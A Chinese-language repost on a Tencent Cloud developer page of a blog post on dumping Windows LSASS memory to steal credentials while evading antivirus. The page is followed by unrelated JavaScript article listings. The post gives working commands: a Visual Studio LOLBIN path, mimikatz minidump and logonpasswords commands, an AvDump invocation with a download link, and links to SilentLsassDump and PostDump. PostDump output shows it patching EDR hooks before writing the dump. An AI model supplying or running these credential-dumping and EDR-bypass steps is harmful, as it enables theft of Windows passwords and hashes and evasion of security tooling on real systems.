开发者社区

文档建议反馈控制台

文章/答案/技术大牛

发布

社区首页 >专栏 >Dump LSASS SKill

Dump LSASS SKill

作者头像

Al1ex

发布于 2022-09-07 08:50:27

发布于 2022-09-07 08:50:27

1.3K00

代码可运行

举报

文章被收录于专栏：网络安全攻防网络安全攻防

运行总次数：0

代码可运行

文章前言

获取Windows用户的凭证信息是渗透过程中至关重要的一步，如果没有杀软，那么只要有权限想怎么读就怎么读，当有杀软时就得用一些特别的技巧，本篇文章将简单介绍几种之前在Twitter上看到的小技巧，仅供大家参考

LOLBIN

文件路径(需要下载最新版本的VS2022)：

C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions

证书说明：微软签名

转储实践：

之后使用mimikatz查看dump.txt：

sekurlsa::minidump "c:\users\mr.d0x\downloads\dump.txt"
sekurlsa::logonpasswords

AvDump

文件下载(安全性自查)：

https://github.com/f1tz/Misc/blob/9c41db77e41d42146467516ca865313f810c44f3/AvDump/x86/AvDump.exe

转储命令：

.\AvDump.exe --pid 704 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

SilentLsassDump

项目地址：

https://github.com/guervild/BOFs/tree/dev/SilentLsassDump

silentLsassDump <LSASS PID>

PostDump

项目地址：

https://github.com/post-cyberlabs/Offensive_tools/tree/main/PostDump

项目介绍：PostDump是由COS团队(网络攻击和安全)开发的C#工具，它使用几种技术绕过EDR Hook和lsass保护来执行内存转储(lsass)

项目使用：

C:\Temp>PostDump.exe

[*] NtReadVirtualMemory: HOOKED! Patching...
[*] NtReadVirtualMemory --> NOT Hooked!

[*] NtOpenProcess: NOT Hooked!
[*] Real Process Handle: 728

[*] PssCaptureSnapshot: NOT Hooked!
[*] Snapshot succeed! Duplicate handle: 1549097566208

[*] MiniDumpWriteDump: NOT Hooked!
[*] Duplicate dump successful. Dumped 49737034 bytes to: c:\Temp\yolo.log

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2022-07-01，如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自七芒星实验室微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

评论

登录后参与评论

暂无评论

面了十多家，总结出20道JavaScript 必考的面试题！

javascript 对象函数数组作用域

面临毕业季，相信有很多朋友正在进行找工作，背面试题；今天就分享给大家20道JavaScript必会的问题

程序员老鱼

2023/09/07

2180

面了十多家，总结出20道JavaScript 必考的面试题！

【面试】386- JavaScript 面试 20 个核心考点

编程算法面向对象编程 javascript

Javascript是前端面试的重点，本文重点梳理下 Javascript 中的常考基础知识点，然后就一些容易出现的题目进行解析。限于文章的篇幅，无法将知识点讲解的面面俱到，本文只罗列了一些重难点，如果想要了解更多内容欢迎点击https://github.com/ljianshu/Blog。

pingan8787

2019/10/23

4720

【面试】386- JavaScript 面试 20 个核心考点

学会6大类型JavaScript面试题，面试官都不淡定了

2023腾讯·技术创作特训营第三期

当我们找实例对象的属性时，如果找不到，就会查找与对象关联的原型中去找，如果还找不到，就去找原型的原型，直到最顶层。

can4hou6joeng4

2023/11/29

1720

滴滴前端一面经典手写面试题

json java 网络安全 javascript node.js

一般来说，Promise.all 用来处理多个并发请求，也是为了页面数据构造的方便，将一个页面所用到的在不同接口的数据一起请求过来，不过，如果其中一个接口失败了，多个请求也就失败了，页面可能啥也出不来，这就看当前页面的耦合程度了

helloworld1024

2023/01/04

9200

js手写题汇总（面试前必刷）

json 编程算法 node.js javascript

event bus既是node中各个模块的基石，又是前端组件通信的依赖手段之一，同时涉及了订阅-发布设计模式，是非常重要的基础。

helloworld1024

2022/11/09

1.1K0

前端一面必会手写面试题（边面边更）4

node.js 编程算法 json javascript

函数柯里化概念：柯里化（Currying）是把接受多个参数的函数转变为接受一个单一参数的函数，并且返回接受余下的参数且返回结果的新函数的技术。

helloworld1024

2023/01/06

3250

这样回答前端面试题才能拿到offer2

javascript node.js 编程算法

Webkit 和 Firefox 都做了这个优化，当执行 JavaScript 脚本时，另一个线程解析剩下的文档，并加载后面需要通过网络加载的资源。这种方式可以使资源并行加载从而使整体速度更快。需要注意的是，预解析并不改变 DOM 树，它将这个工作留给主解析过程，自己只解析外部资源的引用，比如外部脚本、样式表及图片。

loveX001

2023/01/04

4860

腾讯前端手写面试题及答案

javascript 编程算法

函数柯里化概念：柯里化（Currying）是把接受多个参数的函数转变为接受一个单一参数的函数，并且返回接受余下的参数且返回结果的新函数的技术。

helloworld1024

2022/12/19

6640

2021JavaScript面试题（最新）不定时更新（2021.11.6更新）

c 语言 javascript node.js json 编程算法

js 一共有六种基本数据类型，分别是 Undefined、Null、Boolean、Number、String，还有在 ES6 中新增的 Symbol 类型。 Symbol 代表创建后独一无二且不可变的数据类型，它的出现我认为主要是为了解决可能出现的全局变量冲突的问题。

全栈程序员站长

2022/09/07

2.6K0

2022高频前端面试题合集之JavaScript篇（上）

java 面向对象编程 ecmascript 编程算法 node.js

解析：该题主要考察就是对 js 中的继承是否了解，以及常见的继承的形式有哪些。最常用的继承就是「组合继承」（伪经典继承）和圣杯模式继承。下面附上 js 中这两种继承模式的详细解析。

程序员法医

2022/12/20

1.1K0

2022高频前端面试题合集之JavaScript篇（上）

字节前端高频手写面试题（持续更新中）1

编程算法 java json ecmascript 文件存储

观察者需要放到被观察者中，被观察者的状态变化需要通知观察者我变化了内部也是基于发布订阅模式，收集观察者，状态变化后要主动通知观察者

helloworld1024

2023/01/03

6980

前端二面手写面试题总结

json null object promise prototype

then 方法返回一个新的 promise 实例，为了在 promise 状态发生变化时（resolve / reject 被调用时）再执行 then 里的函数，我们使用一个 callbacks 数组先把传给then的函数暂存起来，等状态改变时再调用。

helloworld1024

2022/10/27

8300

腾讯前端高频手写面试题

json javascript node.js 编程算法

函数柯里化概念：柯里化（Currying）是把接受多个参数的函数转变为接受一个单一参数的函数，并且返回接受余下的参数且返回结果的新函数的技术。

helloworld1024

2022/11/15

5940

【吐血整理】前端JavaScript高频手写面试大全，助你查漏补缺

mapreduce 编程算法 lodash xml javascript

https://segmentfault.com/a/1190000038910420

@超人

2021/02/26

8650

【吐血整理】前端JavaScript高频手写面试大全，助你查漏补缺

js面试题及答案2020_JS面试题大全

面向对象编程 javascript

number、string、bootlean、null、undefined、Bigint 、Symbol

全栈程序员站长

2022/09/27

3790

前端常见20道高频面试题深入解析

css 面向对象编程 node.js 编程算法 json

今年来，各大公司都缩减了HC，甚至是采取了“裁员”措施，在这样的大环境之下，想要获得一份更好的工作，必然需要付出更多的努力。本文挑选了20道大厂面试题，建议在阅读时，先思考一番，不要直接看解析。尽管，本文所有的答案，都是我在翻阅各种资料，思考并验证之后，才给出的。但因水平有限，本人的答案未必是最优的，如果您有更好的答案，欢迎给我留言。如果有错误，可以在评论区指出。本文篇幅较长，希望小伙伴们能够坚持读完。

前端达人

2020/04/08

1.2K0

前端常见20道高频面试题深入解析

前端js手写面试题汇总(二)

编程算法 javascript node.js

Object.create()方法创建一个新对象，使用现有的对象来提供新创建的对象的proto。

helloworld1024

2022/11/16

5480

高级前端手写面试题

json node.js 编程算法网络安全 xml

该方法的参数是 Promise 实例数组, 然后其 then 注册的回调方法是数组中的某一个 Promise 的状态变为 fulfilled 的时候就执行. 因为 Promise 的状态只能改变一次, 那么我们只需要把 Promise.race 中产生的 Promise 对象的 resolve 方法, 注入到数组中的每一个 Promise 实例中的回调函数中即可.

helloworld1024

2022/09/17

7060

2022必会的前端面试手写题

编程算法 node.js json javascript

instanceof 运算符用于判断构造函数的 prototype 属性是否出现在对象的原型链中的任何位置。

buchila11

2022/07/29

5820

百度前端必会手写面试题及答案

json java ecmascript javascript 数据结构

防抖动和节流本质是不一样的。防抖动是将多次执行变为最后一次执行，节流是将多次执行变成每隔一段时间执行

helloworld1024

2022/09/17

5440

相关推荐

面了十多家，总结出20道JavaScript 必考的面试题！

更多 >

阿策小和尚0

LV.2

北京某一线互联网公司Android 高级开发工程师

目录

PostDump

加入讨论

的问答专区 >

相关课程

一站式学习中心 >

数字化IT从业者知识体系

云原生降本增效实战营